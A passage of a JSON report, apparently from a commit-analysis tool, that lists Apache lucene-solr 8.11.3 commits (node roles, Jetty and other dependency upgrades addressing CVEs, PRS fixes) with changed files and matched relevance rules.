refs/heads/branch_8_11 from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=68fa493b8f9 ] Revert \" SOLR-15694 , SOLR-15715 : Node roles and dedicated query coordinator nodes\" This reverts commit 2088d743db9304492ab19c14bc80c6187f172b79. Commit 2da4332072ffffb0581ef60d11de5b0d157452ac in lucene-solr's branch refs/heads/branch_8_11 from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=2da4332072f ] SOLR-15694 , 15715: Node roles and dedicated query coordinator nodes Commit b54a788fe71c7f87a8b8564461cb196c138fc7ce in lucene-solr's branch refs/heads/branch_8_11 from noblepaul [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=b54a788fe71 ] SOLR-15694 , 15715: Create ephemeral roles properly (missed backporting these changes last time) Commit 002b3ce67bea7dfe114c3b7dfdceb00b8777363c in lucene-solr's branch refs/heads/branch_8_11 from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=002b3ce67be ] Revert \" SOLR-15694 , 15715: Create ephemeral roles properly (missed backporting these changes last time)\" This reverts commit b54a788fe71c7f87a8b8564461cb196c138fc7ce. Commit ace7641edb762d31519df1db845885dfd31caee4 in lucene-solr's branch refs/heads/branch_8_11 from noblepaul [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=ace7641edb7 ] SOLR-15694 , 15715: Create ephemeral roles properly (missed backporting these changes last time) Hi ichattopadhyaya , We are trying to use the Node roles feature to set a preferred Overseer in our Solr 9 fork. What is the purpose of having overseerDesignate in addition to specifying a preferredOverseer ? How is it specified via startup parameters? In our fork, I am configuring one node in the SolrCloud cluster with -Dsolr.node.roles=overseer:preferred,data:on . All other nodes are set to overseer:allowed,data:on by default. I have observed that during a rolling restart, the OverseerNodePrioritizer almost always elects the preferred Overseer as the Overseer, provided it is up. Additionally, since the overseerDesignate list remains empty (until the preferred Overseer is added to it), it does not affect this outcome." + }, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [ + [ + "no-tag", + "b54a788fe71c7f87a8b8564461cb196c138fc7ce" + ] + ], + "tags": [ + "releases/lucene-solr/8.11.3" + ], + "matched_rules": [ + { + "id": "CHANGES_RELEVANT_CODE", + "message": "The commit modifies code containing relevant filename or methods: Solr", + "relevance": 8 + }, + { + "id": "CHANGES_RELEVANT_FILES", + "message": "The commit changes some relevant files: solr/core/src/java/org/apache/solr/cloud/ZkController.java", + "relevance": 8 + }, + { + "id": "COMMIT_HAS_TWINS", + "message": "This commit has one or more twins.", + "relevance": 2 + }, + { + "id": "BUG_IN_MESSAGE", + "message": "The commit message references some bug tracking ticket: SOLR-15694", + "relevance": 2 + } + ] + }, + { + "commit_id": "e7560cd2ab024d4315933cd3965aab2961bba994", + "repository": "https://github.com/apache/lucene-solr", + "timestamp": 1697029674, + "hunks": 60, + "message": "SOLR-17025: Upgrade Jetty to 9.4.53.v20231009 (#2680)", + "changed_files": [ + "lucene/ivy-versions.properties", + "lucene/licenses/jetty-continuation-9.4.48.v20220622.jar.sha1", + "lucene/licenses/jetty-continuation-9.4.53.v20231009.jar.sha1", + "lucene/licenses/jetty-http-9.4.48.v20220622.jar.sha1", + "lucene/licenses/jetty-http-9.4.53.v20231009.jar.sha1", + "lucene/licenses/jetty-io-9.4.48.v20220622.jar.sha1", + "lucene/licenses/jetty-io-9.4.53.v20231009.jar.sha1", + "lucene/licenses/jetty-server-9.4.48.v20220622.jar.sha1", + "lucene/licenses/jetty-server-9.4.53.v20231009.jar.sha1", + "lucene/licenses/jetty-servlet-9.4.48.v20220622.jar.sha1", + "lucene/licenses/jetty-servlet-9.4.53.v20231009.jar.sha1", + "lucene/licenses/jetty-util-9.4.48.v20220622.jar.sha1", + "lucene/licenses/jetty-util-9.4.53.v20231009.jar.sha1", + "solr/licenses/http2-client-9.4.48.v20220622.jar.sha1", + "solr/licenses/http2-client-9.4.53.v20231009.jar.sha1", + "solr/licenses/http2-common-9.4.48.v20220622.jar.sha1", + "solr/licenses/http2-common-9.4.53.v20231009.jar.sha1", + "solr/licenses/http2-hpack-9.4.48.v20220622.jar.sha1", + "solr/licenses/http2-hpack-9.4.53.v20231009.jar.sha1", + "solr/licenses/http2-http-client-transport-9.4.48.v20220622.jar.sha1", + "solr/licenses/http2-http-client-transport-9.4.53.v20231009.jar.sha1", + "solr/licenses/http2-server-9.4.48.v20220622.jar.sha1", + "solr/licenses/http2-server-9.4.53.v20231009.jar.sha1", + "solr/licenses/jetty-alpn-client-9.4.48.v20220622.jar.sha1", + "solr/licenses/jetty-alpn-client-9.4.53.v20231009.jar.sha1", + "solr/licenses/jetty-alpn-java-client-9.4.48.v20220622.jar.sha1", + "solr/licenses/jetty-alpn-java-client-9.4.53.v20231009.jar.sha1", + "solr/licenses/jetty-alpn-java-server-9.4.48.v20220622.jar.sha1", + "solr/licenses/jetty-alpn-java-server-9.4.53.v20231009.jar.sha1", + "solr/licenses/jetty-alpn-server-9.4.48.v20220622.jar.sha1", + "solr/licenses/jetty-alpn-server-9.4.53.v20231009.jar.sha1", + "solr/licenses/jetty-client-9.4.48.v20220622.jar.sha1", + "solr/licenses/jetty-client-9.4.53.v20231009.jar.sha1", + "solr/licenses/jetty-continuation-9.4.48.v20220622.jar.sha1", + "solr/licenses/jetty-continuation-9.4.53.v20231009.jar.sha1", + "solr/licenses/jetty-deploy-9.4.48.v20220622.jar.sha1", + "solr/licenses/jetty-deploy-9.4.53.v20231009.jar.sha1", + "solr/licenses/jetty-http-9.4.48.v20220622.jar.sha1", + "solr/licenses/jetty-http-9.4.53.v20231009.jar.sha1", + "solr/licenses/jetty-io-9.4.48.v20220622.jar.sha1", + "solr/licenses/jetty-io-9.4.53.v20231009.jar.sha1", + "solr/licenses/jetty-jmx-9.4.48.v20220622.jar.sha1", + "solr/licenses/jetty-jmx-9.4.53.v20231009.jar.sha1", + "solr/licenses/jetty-rewrite-9.4.48.v20220622.jar.sha1", + "solr/licenses/jetty-rewrite-9.4.53.v20231009.jar.sha1", + "solr/licenses/jetty-security-9.4.48.v20220622.jar.sha1", + "solr/licenses/jetty-security-9.4.53.v20231009.jar.sha1", + "solr/licenses/jetty-server-9.4.48.v20220622.jar.sha1", + "solr/licenses/jetty-server-9.4.53.v20231009.jar.sha1", + "solr/licenses/jetty-servlet-9.4.48.v20220622.jar.sha1", + "solr/licenses/jetty-servlet-9.4.53.v20231009.jar.sha1", + "solr/licenses/jetty-servlets-9.4.48.v20220622.jar.sha1", + "solr/licenses/jetty-servlets-9.4.53.v20231009.jar.sha1", + "solr/licenses/jetty-util-9.4.48.v20220622.jar.sha1", + "solr/licenses/jetty-util-9.4.53.v20231009.jar.sha1", + "solr/licenses/jetty-webapp-9.4.48.v20220622.jar.sha1", + "solr/licenses/jetty-webapp-9.4.53.v20231009.jar.sha1", + "solr/licenses/jetty-xml-9.4.48.v20220622.jar.sha1", + "solr/licenses/jetty-xml-9.4.53.v20231009.jar.sha1", + "solr/licenses/start.jar.sha1" + ], + "message_reference_content": [], + "jira_refs": { + "SOLR-17025": "Keeping branch_8_11 up to date w/ the latest Jetty 9.4.53 Upgrade to Jetty 9.4.53 on branch_8_11 https://github.com/apache/lucene-solr/pull/2680 Commit e7560cd2ab024d4315933cd3965aab2961bba994 in lucene-solr's branch refs/heads/branch_8_11 from Kevin Risden [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=e7560cd2ab0 ] SOLR-17025 : Upgrade Jetty to 9.4.53.v20231009 (#2680) Closing after the 8.11.3 release" + }, + "ghissue_refs": { + "2680": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "releases/lucene-solr/8.11.3" + ], + "matched_rules": [ + { + "id": "CHANGES_RELEVANT_FILES", + "message": "The commit changes some relevant files: solr/licenses/jetty-server-9.4.48.v20220622.jar.sha1, solr/licenses/jetty-rewrite-9.4.48.v20220622.jar.sha1, solr/licenses/jetty-alpn-java-client-9.4.48.v20220622.jar.sha1, solr/licenses/jetty-alpn-java-server-9.4.53.v20231009.jar.sha1, solr/licenses/http2-hpack-9.4.53.v20231009.jar.sha1, solr/licenses/jetty-security-9.4.48.v20220622.jar.sha1, solr/licenses/jetty-xml-9.4.48.v20220622.jar.sha1, solr/licenses/jetty-http-9.4.48.v20220622.jar.sha1, solr/licenses/jetty-alpn-java-server-9.4.48.v20220622.jar.sha1, solr/licenses/jetty-util-9.4.48.v20220622.jar.sha1, solr/licenses/http2-http-client-transport-9.4.48.v20220622.jar.sha1, solr/licenses/jetty-alpn-client-9.4.53.v20231009.jar.sha1, solr/licenses/jetty-io-9.4.48.v20220622.jar.sha1, solr/licenses/http2-client-9.4.48.v20220622.jar.sha1, solr/licenses/jetty-alpn-client-9.4.48.v20220622.jar.sha1, solr/licenses/http2-hpack-9.4.48.v20220622.jar.sha1, solr/licenses/jetty-alpn-java-client-9.4.53.v20231009.jar.sha1, solr/licenses/jetty-client-9.4.53.v20231009.jar.sha1, solr/licenses/jetty-deploy-9.4.48.v20220622.jar.sha1, solr/licenses/jetty-security-9.4.53.v20231009.jar.sha1, solr/licenses/start.jar.sha1, solr/licenses/jetty-continuation-9.4.48.v20220622.jar.sha1, solr/licenses/jetty-rewrite-9.4.53.v20231009.jar.sha1, solr/licenses/jetty-servlet-9.4.53.v20231009.jar.sha1, solr/licenses/jetty-servlets-9.4.53.v20231009.jar.sha1, solr/licenses/jetty-continuation-9.4.53.v20231009.jar.sha1, solr/licenses/http2-client-9.4.53.v20231009.jar.sha1, solr/licenses/jetty-server-9.4.53.v20231009.jar.sha1, solr/licenses/http2-http-client-transport-9.4.53.v20231009.jar.sha1, solr/licenses/jetty-client-9.4.48.v20220622.jar.sha1, solr/licenses/jetty-webapp-9.4.53.v20231009.jar.sha1, solr/licenses/jetty-deploy-9.4.53.v20231009.jar.sha1, solr/licenses/jetty-servlet-9.4.48.v20220622.jar.sha1, solr/licenses/http2-common-9.4.53.v20231009.jar.sha1, solr/licenses/jetty-xml-9.4.53.v20231009.jar.sha1, solr/licenses/jetty-jmx-9.4.53.v20231009.jar.sha1, solr/licenses/http2-server-9.4.48.v20220622.jar.sha1, solr/licenses/jetty-http-9.4.53.v20231009.jar.sha1, solr/licenses/http2-server-9.4.53.v20231009.jar.sha1, solr/licenses/http2-common-9.4.48.v20220622.jar.sha1, solr/licenses/jetty-jmx-9.4.48.v20220622.jar.sha1, solr/licenses/jetty-util-9.4.53.v20231009.jar.sha1, solr/licenses/jetty-alpn-server-9.4.48.v20220622.jar.sha1, solr/licenses/jetty-alpn-server-9.4.53.v20231009.jar.sha1, solr/licenses/jetty-webapp-9.4.48.v20220622.jar.sha1, solr/licenses/jetty-io-9.4.53.v20231009.jar.sha1, solr/licenses/jetty-servlets-9.4.48.v20220622.jar.sha1", + "relevance": 8 + }, + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: upgrade", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: version, server", + "relevance": 4 + }, + { + "id": "BUG_IN_MESSAGE", + "message": "The commit message references some bug tracking ticket: SOLR-17025", + "relevance": 2 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 2680", + "relevance": 2 + } + ] + }, + { + "commit_id": "3cf0a5501084c9e3d0e53657a20477007f33755a", + "repository": "https://github.com/apache/lucene-solr", + "timestamp": 1698690763, + "hunks": 88, + "message": "Upgrade dependencies to address more CVEs (#2681) Upgrade the following dependencies: |dependency|old|new| |-------------|---|---| |ant|1.8.2|1.10.14| |randomizedtesting|2.7.2|2.8.1| |calcite|1.32.0|1.35.0| |calcite avatica|1.22.0|1.23.0| |aws java sdk|1.12.42|1.12.565| |caffeine|2.9.2|2.9.3| |hadoop|3.2.2|3.2.4| |jackson|2.13.5|2.15.2| |netty|4.1.87|4.1.99| |woodstox-core|6.5.0|6.5.1|", + "changed_files": [ + "lucene/ivy-versions.properties", + "lucene/licenses/ant-1.10.14.jar.sha1", + "lucene/licenses/ant-1.8.2.jar.sha1", + "lucene/licenses/randomizedtesting-runner-2.7.2.jar.sha1", + "lucene/licenses/randomizedtesting-runner-2.8.1.jar.sha1", + "solr/licenses/ant-1.10.14.jar.sha1", + "solr/licenses/ant-1.8.2.jar.sha1", + "solr/licenses/avatica-core-1.22.0.jar.sha1", + "solr/licenses/avatica-core-1.23.0.jar.sha1", + "solr/licenses/avatica-metrics-1.22.0.jar.sha1", + "solr/licenses/avatica-metrics-1.23.0.jar.sha1", + "solr/licenses/aws-java-sdk-core-1.12.42.jar.sha1", + "solr/licenses/aws-java-sdk-core-1.12.565.jar.sha1", + "solr/licenses/aws-java-sdk-s3-1.12.42.jar.sha1", + "solr/licenses/aws-java-sdk-s3-1.12.565.jar.sha1", + "solr/licenses/caffeine-2.9.2.jar.sha1", + "solr/licenses/caffeine-2.9.3.jar.sha1", + "solr/licenses/calcite-core-1.32.0.jar.sha1", + "solr/licenses/calcite-core-1.35.0.jar.sha1", + "solr/licenses/calcite-linq4j-1.32.0.jar.sha1", + "solr/licenses/calcite-linq4j-1.35.0.jar.sha1", + "solr/licenses/hadoop-annotations-3.2.2.jar.sha1", + "solr/licenses/hadoop-annotations-3.2.4.jar.sha1", + "solr/licenses/hadoop-auth-3.2.2.jar.sha1", + "solr/licenses/hadoop-auth-3.2.4.jar.sha1", + "solr/licenses/hadoop-common-3.2.2-tests.jar.sha1", + "solr/licenses/hadoop-common-3.2.2.jar.sha1", + "solr/licenses/hadoop-common-3.2.4-tests.jar.sha1", + "solr/licenses/hadoop-common-3.2.4.jar.sha1", + "solr/licenses/hadoop-hdfs-3.2.2-tests.jar.sha1", + "solr/licenses/hadoop-hdfs-3.2.2.jar.sha1", + "solr/licenses/hadoop-hdfs-3.2.4-tests.jar.sha1", + "solr/licenses/hadoop-hdfs-3.2.4.jar.sha1", + "solr/licenses/hadoop-hdfs-client-3.2.2.jar.sha1", + "solr/licenses/hadoop-hdfs-client-3.2.4.jar.sha1", + "solr/licenses/hadoop-minicluster-3.2.2.jar.sha1", + "solr/licenses/hadoop-minicluster-3.2.4.jar.sha1", + "solr/licenses/hadoop-minikdc-3.2.2.jar.sha1", + "solr/licenses/hadoop-minikdc-3.2.4.jar.sha1", + "solr/licenses/jackson-annotations-2.13.5.jar.sha1", + "solr/licenses/jackson-annotations-2.15.2.jar.sha1", + "solr/licenses/jackson-core-2.13.5.jar.sha1", + "solr/licenses/jackson-core-2.15.2.jar.sha1", + "solr/licenses/jackson-databind-2.13.5.jar.sha1", + "solr/licenses/jackson-databind-2.15.2.jar.sha1", + "solr/licenses/jackson-dataformat-smile-2.13.5.jar.sha1", + "solr/licenses/jackson-dataformat-smile-2.15.2.jar.sha1", + "solr/licenses/jackson-dataformat-xml-2.13.5.jar.sha1", + "solr/licenses/jackson-dataformat-xml-2.15.2.jar.sha1", + "solr/licenses/jackson-datatype-jdk8-2.13.5.jar.sha1", + "solr/licenses/jackson-datatype-jdk8-2.15.2.jar.sha1", + "solr/licenses/jackson-datatype-jsr310-2.13.5.jar.sha1", + "solr/licenses/jackson-datatype-jsr310-2.15.2.jar.sha1", + "solr/licenses/jackson-module-jaxb-annotations-2.13.5.jar.sha1", + "solr/licenses/jackson-module-jaxb-annotations-2.15.2.jar.sha1", + "solr/licenses/jackson-module-parameter-names-2.13.5.jar.sha1", + "solr/licenses/jackson-module-parameter-names-2.15.2.jar.sha1", + "solr/licenses/junit4-ant-2.7.2.jar.sha1", + "solr/licenses/junit4-ant-2.8.1.jar.sha1", + "solr/licenses/netty-all-4.1.87.Final.jar.sha1", + "solr/licenses/netty-all-4.1.99.Final.jar.sha1", + "solr/licenses/netty-buffer-4.1.87.Final.jar.sha1", + "solr/licenses/netty-buffer-4.1.99.Final.jar.sha1", + "solr/licenses/netty-codec-4.1.87.Final.jar.sha1", + "solr/licenses/netty-codec-4.1.99.Final.jar.sha1", + "solr/licenses/netty-common-4.1.87.Final.jar.sha1", + "solr/licenses/netty-common-4.1.99.Final.jar.sha1", + "solr/licenses/netty-handler-4.1.87.Final.jar.sha1", + "solr/licenses/netty-handler-4.1.99.Final.jar.sha1", + "solr/licenses/netty-resolver-4.1.87.Final.jar.sha1", + "solr/licenses/netty-resolver-4.1.99.Final.jar.sha1", + "solr/licenses/netty-transport-4.1.87.Final.jar.sha1", + "solr/licenses/netty-transport-4.1.99.Final.jar.sha1", + "solr/licenses/netty-transport-native-epoll-4.1.87.Final.jar.sha1", + "solr/licenses/netty-transport-native-epoll-4.1.99.Final.jar.sha1", + "solr/licenses/netty-transport-native-unix-common-4.1.87.Final.jar.sha1", + "solr/licenses/netty-transport-native-unix-common-4.1.99.Final.jar.sha1", + "solr/licenses/randomizedtesting-runner-2.7.2.jar.sha1", + "solr/licenses/randomizedtesting-runner-2.8.1.jar.sha1", + "solr/licenses/woodstox-core-6.5.0.jar.sha1", + "solr/licenses/woodstox-core-6.5.1.jar.sha1" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "2681": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "releases/lucene-solr/8.11.3" + ], + "matched_rules": [ + { + "id": "CHANGES_RELEVANT_FILES", + "message": "The commit changes some relevant files: solr/licenses/aws-java-sdk-s3-1.12.565.jar.sha1, solr/licenses/hadoop-common-3.2.2.jar.sha1, solr/licenses/netty-handler-4.1.87.Final.jar.sha1, solr/licenses/netty-transport-native-epoll-4.1.99.Final.jar.sha1, solr/licenses/netty-buffer-4.1.99.Final.jar.sha1, solr/licenses/jackson-datatype-jsr310-2.15.2.jar.sha1, solr/licenses/jackson-databind-2.13.5.jar.sha1, solr/licenses/jackson-databind-2.15.2.jar.sha1, solr/licenses/hadoop-minicluster-3.2.4.jar.sha1, solr/licenses/jackson-dataformat-smile-2.13.5.jar.sha1, solr/licenses/jackson-core-2.15.2.jar.sha1, solr/licenses/calcite-core-1.35.0.jar.sha1, solr/licenses/hadoop-common-3.2.2-tests.jar.sha1, solr/licenses/jackson-annotations-2.15.2.jar.sha1, solr/licenses/hadoop-auth-3.2.4.jar.sha1, solr/licenses/hadoop-minikdc-3.2.2.jar.sha1, solr/licenses/jackson-dataformat-smile-2.15.2.jar.sha1, solr/licenses/jackson-module-jaxb-annotations-2.15.2.jar.sha1, solr/licenses/aws-java-sdk-s3-1.12.42.jar.sha1, solr/licenses/jackson-dataformat-xml-2.13.5.jar.sha1, solr/licenses/netty-transport-4.1.87.Final.jar.sha1, solr/licenses/ant-1.8.2.jar.sha1, solr/licenses/randomizedtesting-runner-2.8.1.jar.sha1, solr/licenses/hadoop-auth-3.2.2.jar.sha1, solr/licenses/hadoop-annotations-3.2.2.jar.sha1, solr/licenses/hadoop-hdfs-3.2.2.jar.sha1, solr/licenses/hadoop-hdfs-3.2.4.jar.sha1, solr/licenses/jackson-module-parameter-names-2.13.5.jar.sha1, solr/licenses/netty-transport-native-epoll-4.1.87.Final.jar.sha1, solr/licenses/netty-transport-native-unix-common-4.1.99.Final.jar.sha1, solr/licenses/randomizedtesting-runner-2.7.2.jar.sha1, solr/licenses/woodstox-core-6.5.0.jar.sha1, solr/licenses/netty-all-4.1.87.Final.jar.sha1, solr/licenses/aws-java-sdk-core-1.12.565.jar.sha1, solr/licenses/jackson-module-parameter-names-2.15.2.jar.sha1, solr/licenses/hadoop-hdfs-3.2.4-tests.jar.sha1, solr/licenses/jackson-core-2.13.5.jar.sha1, solr/licenses/netty-transport-4.1.99.Final.jar.sha1, solr/licenses/avatica-core-1.23.0.jar.sha1, solr/licenses/jackson-datatype-jsr310-2.13.5.jar.sha1, solr/licenses/ant-1.10.14.jar.sha1, solr/licenses/avatica-core-1.22.0.jar.sha1, solr/licenses/hadoop-minikdc-3.2.4.jar.sha1, solr/licenses/jackson-module-jaxb-annotations-2.13.5.jar.sha1, solr/licenses/junit4-ant-2.8.1.jar.sha1, solr/licenses/netty-common-4.1.87.Final.jar.sha1, solr/licenses/netty-resolver-4.1.87.Final.jar.sha1, solr/licenses/netty-resolver-4.1.99.Final.jar.sha1, solr/licenses/hadoop-hdfs-client-3.2.2.jar.sha1, solr/licenses/hadoop-annotations-3.2.4.jar.sha1, solr/licenses/junit4-ant-2.7.2.jar.sha1, solr/licenses/caffeine-2.9.2.jar.sha1, solr/licenses/woodstox-core-6.5.1.jar.sha1, solr/licenses/netty-transport-native-unix-common-4.1.87.Final.jar.sha1, solr/licenses/hadoop-common-3.2.4.jar.sha1, solr/licenses/hadoop-hdfs-3.2.2-tests.jar.sha1, solr/licenses/netty-handler-4.1.99.Final.jar.sha1, solr/licenses/calcite-core-1.32.0.jar.sha1, solr/licenses/jackson-datatype-jdk8-2.15.2.jar.sha1, solr/licenses/netty-all-4.1.99.Final.jar.sha1, solr/licenses/calcite-linq4j-1.35.0.jar.sha1, solr/licenses/hadoop-hdfs-client-3.2.4.jar.sha1, solr/licenses/netty-codec-4.1.87.Final.jar.sha1, solr/licenses/netty-buffer-4.1.87.Final.jar.sha1, solr/licenses/avatica-metrics-1.22.0.jar.sha1, solr/licenses/avatica-metrics-1.23.0.jar.sha1, solr/licenses/jackson-annotations-2.13.5.jar.sha1, solr/licenses/jackson-datatype-jdk8-2.13.5.jar.sha1, solr/licenses/aws-java-sdk-core-1.12.42.jar.sha1, solr/licenses/netty-codec-4.1.99.Final.jar.sha1, solr/licenses/caffeine-2.9.3.jar.sha1, solr/licenses/hadoop-minicluster-3.2.2.jar.sha1, solr/licenses/hadoop-common-3.2.4-tests.jar.sha1, solr/licenses/calcite-linq4j-1.32.0.jar.sha1, solr/licenses/netty-common-4.1.99.Final.jar.sha1, solr/licenses/jackson-dataformat-xml-2.15.2.jar.sha1", + "relevance": 8 + }, + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: address, upgrade", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: version, handler, parameter", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 2681", + "relevance": 2 + } + ] + }, + { + "commit_id": "a442489af3c665e1d87c38bef1b5864dd48129a7", + "repository": "https://github.com/apache/lucene-solr", + "timestamp": 1698645339, + "hunks": 8, + "message": "Some PRS fixes ported (addressing test failures with PRS)", + "changed_files": [ + "solr/core/src/java/org/apache/solr/cloud/api/collections/OverseerCollectionMessageHandler.java", + "solr/core/src/java/org/apache/solr/cloud/autoscaling/sim/SimClusterStateProvider.java", + "solr/core/src/java/org/apache/solr/handler/admin/CollectionsHandler.java", + "solr/solrj/src/java/org/apache/solr/common/cloud/PerReplicaStates.java" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "releases/lucene-solr/8.11.3" + ], + "matched_rules": [ + { + "id": "CHANGES_RELEVANT_FILES", + "message": "The commit changes some relevant files: solr/core/src/java/org/apache/solr/handler/admin/CollectionsHandler.java, solr/solrj/src/java/org/apache/solr/common/cloud/PerReplicaStates.java, solr/core/src/java/org/apache/solr/cloud/autoscaling/sim/SimClusterStateProvider.java, solr/core/src/java/org/apache/solr/cloud/api/collections/OverseerCollectionMessageHandler.java", + "relevance": 8 + }, + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: address", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: handler, provide", + "relevance": 4 + } + ] + }, + { + "commit_id": "962c926010635356ea778374e1fad5e40f0b46be", + "repository": "https://github.com/apache/lucene-solr", + "timestamp": 1698088228, + "hunks": 46, + "message": "Miscellaneous PRS fixes, backported from 9.x Co-authored-by: Noble Paul ", + "changed_files": [ + "solr/core/src/java/org/apache/solr/cloud/ShardLeaderElectionContextBase.java", + "solr/core/src/java/org/apache/solr/cloud/ZkController.java", + "solr/core/src/java/org/apache/solr/cloud/api/collections/CreateCollectionCmd.java", + "solr/core/src/java/org/apache/solr/cloud/overseer/ReplicaMutator.java", + "solr/core/src/java/org/apache/solr/cloud/overseer/SliceMutator.java", + "solr/core/src/java/org/apache/solr/cloud/overseer/ZkWriteCommand.java" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "releases/lucene-solr/8.11.3" + ], + "matched_rules": [ + { + "id": "CHANGES_RELEVANT_CODE", + "message": "The commit modifies code containing relevant filename or methods: This, SolrCloud, Solr", + "relevance": 8 + }, + { + "id": "CHANGES_RELEVANT_FILES", + "message": "The commit changes some relevant files: solr/core/src/java/org/apache/solr/cloud/overseer/ReplicaMutator.java, solr/core/src/java/org/apache/solr/cloud/api/collections/CreateCollectionCmd.java, solr/core/src/java/org/apache/solr/cloud/ZkController.java, solr/core/src/java/org/apache/solr/cloud/overseer/ZkWriteCommand.java, solr/core/src/java/org/apache/solr/cloud/ShardLeaderElectionContextBase.java, solr/core/src/java/org/apache/solr/cloud/overseer/SliceMutator.java", + "relevance": 8 + } + ] + }, + { + "commit_id": "32b6d4cebb9644318de6c542c0fb2e2dbf070f00", + "repository": "https://github.com/apache/lucene-solr", + "timestamp": 1698085229, + "hunks": 38, + "message": "Upgrade dependencies to address outstanding CVEs google-oauth-client\t1.32.1 -> 1.32.3 guava\t\t\t31.1 -> 32.1.3 hsqldb\t\t\t2.4.0 -> 2.7.1 jackson-*\t\t2.13.3 -> 2.13.5 protobuf-java\t\t3.11.0 -> 3.15.0 protobuf-java-util\t3.11.0 -> 3.15.0 snappy-java\t\t1.1.7.6 -> 1.1.10.1 woodstox-core\t\t6.2.4 -> 6.4.0 Co-authored-by: Jamie Jackson ", + "changed_files": [ + "lucene/ivy-versions.properties", + "solr/licenses/google-oauth-client-1.32.1.jar.sha1", + "solr/licenses/google-oauth-client-1.33.3.jar.sha1", + "solr/licenses/guava-31.1-jre.jar.sha1", + "solr/licenses/guava-32.1.3-jre.jar.sha1", + "solr/licenses/hsqldb-2.4.0.jar.sha1", + "solr/licenses/hsqldb-2.7.1.jar.sha1", + "solr/licenses/jackson-annotations-2.13.3.jar.sha1", + "solr/licenses/jackson-annotations-2.13.5.jar.sha1", + "solr/licenses/jackson-core-2.13.3.jar.sha1", + "solr/licenses/jackson-core-2.13.5.jar.sha1", + "solr/licenses/jackson-databind-2.13.3.jar.sha1", + "solr/licenses/jackson-databind-2.13.5.jar.sha1", + "solr/licenses/jackson-dataformat-smile-2.13.3.jar.sha1", + "solr/licenses/jackson-dataformat-smile-2.13.5.jar.sha1", + "solr/licenses/jackson-dataformat-xml-2.13.3.jar.sha1", + "solr/licenses/jackson-dataformat-xml-2.13.5.jar.sha1", + "solr/licenses/jackson-datatype-jdk8-2.13.3.jar.sha1", + "solr/licenses/jackson-datatype-jdk8-2.13.5.jar.sha1", + "solr/licenses/jackson-datatype-jsr310-2.13.3.jar.sha1", + "solr/licenses/jackson-datatype-jsr310-2.13.5.jar.sha1", + "solr/licenses/jackson-module-jaxb-annotations-2.13.3.jar.sha1", + "solr/licenses/jackson-module-jaxb-annotations-2.13.5.jar.sha1", + "solr/licenses/jackson-module-parameter-names-2.13.3.jar.sha1", + "solr/licenses/jackson-module-parameter-names-2.13.5.jar.sha1", + "solr/licenses/protobuf-java-3.11.0.jar.sha1", + "solr/licenses/protobuf-java-3.15.0.jar.sha1", + "solr/licenses/protobuf-java-util-3.11.0.jar.sha1", + "solr/licenses/protobuf-java-util-3.15.0.jar.sha1", + "solr/licenses/snappy-java-1.1.10.1.jar.sha1", + "solr/licenses/snappy-java-1.1.7.6.jar.sha1", + "solr/licenses/woodstox-core-6.2.4.jar.sha1", + "solr/licenses/woodstox-core-6.4.0.jar.sha1" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "releases/lucene-solr/8.11.3" + ], + "matched_rules": [ + { + "id": "CHANGES_RELEVANT_FILES", + "message": "The commit changes some relevant files: solr/licenses/guava-31.1-jre.jar.sha1, solr/licenses/google-oauth-client-1.32.1.jar.sha1, solr/licenses/jackson-module-jaxb-annotations-2.13.3.jar.sha1, solr/licenses/woodstox-core-6.4.0.jar.sha1, solr/licenses/hsqldb-2.7.1.jar.sha1, solr/licenses/jackson-databind-2.13.5.jar.sha1, solr/licenses/jackson-dataformat-xml-2.13.3.jar.sha1, solr/licenses/snappy-java-1.1.7.6.jar.sha1, solr/licenses/protobuf-java-util-3.11.0.jar.sha1, solr/licenses/jackson-dataformat-smile-2.13.5.jar.sha1, solr/licenses/jackson-dataformat-xml-2.13.5.jar.sha1, solr/licenses/jackson-module-parameter-names-2.13.5.jar.sha1, solr/licenses/google-oauth-client-1.33.3.jar.sha1, solr/licenses/jackson-core-2.13.5.jar.sha1, solr/licenses/jackson-datatype-jsr310-2.13.5.jar.sha1, solr/licenses/jackson-core-2.13.3.jar.sha1, solr/licenses/jackson-module-jaxb-annotations-2.13.5.jar.sha1, solr/licenses/guava-32.1.3-jre.jar.sha1, solr/licenses/snappy-java-1.1.10.1.jar.sha1, solr/licenses/jackson-dataformat-smile-2.13.3.jar.sha1, solr/licenses/woodstox-core-6.2.4.jar.sha1, solr/licenses/protobuf-java-3.11.0.jar.sha1, solr/licenses/protobuf-java-util-3.15.0.jar.sha1, solr/licenses/jackson-annotations-2.13.3.jar.sha1, solr/licenses/protobuf-java-3.15.0.jar.sha1, solr/licenses/jackson-datatype-jdk8-2.13.3.jar.sha1, solr/licenses/jackson-databind-2.13.3.jar.sha1, solr/licenses/hsqldb-2.4.0.jar.sha1, 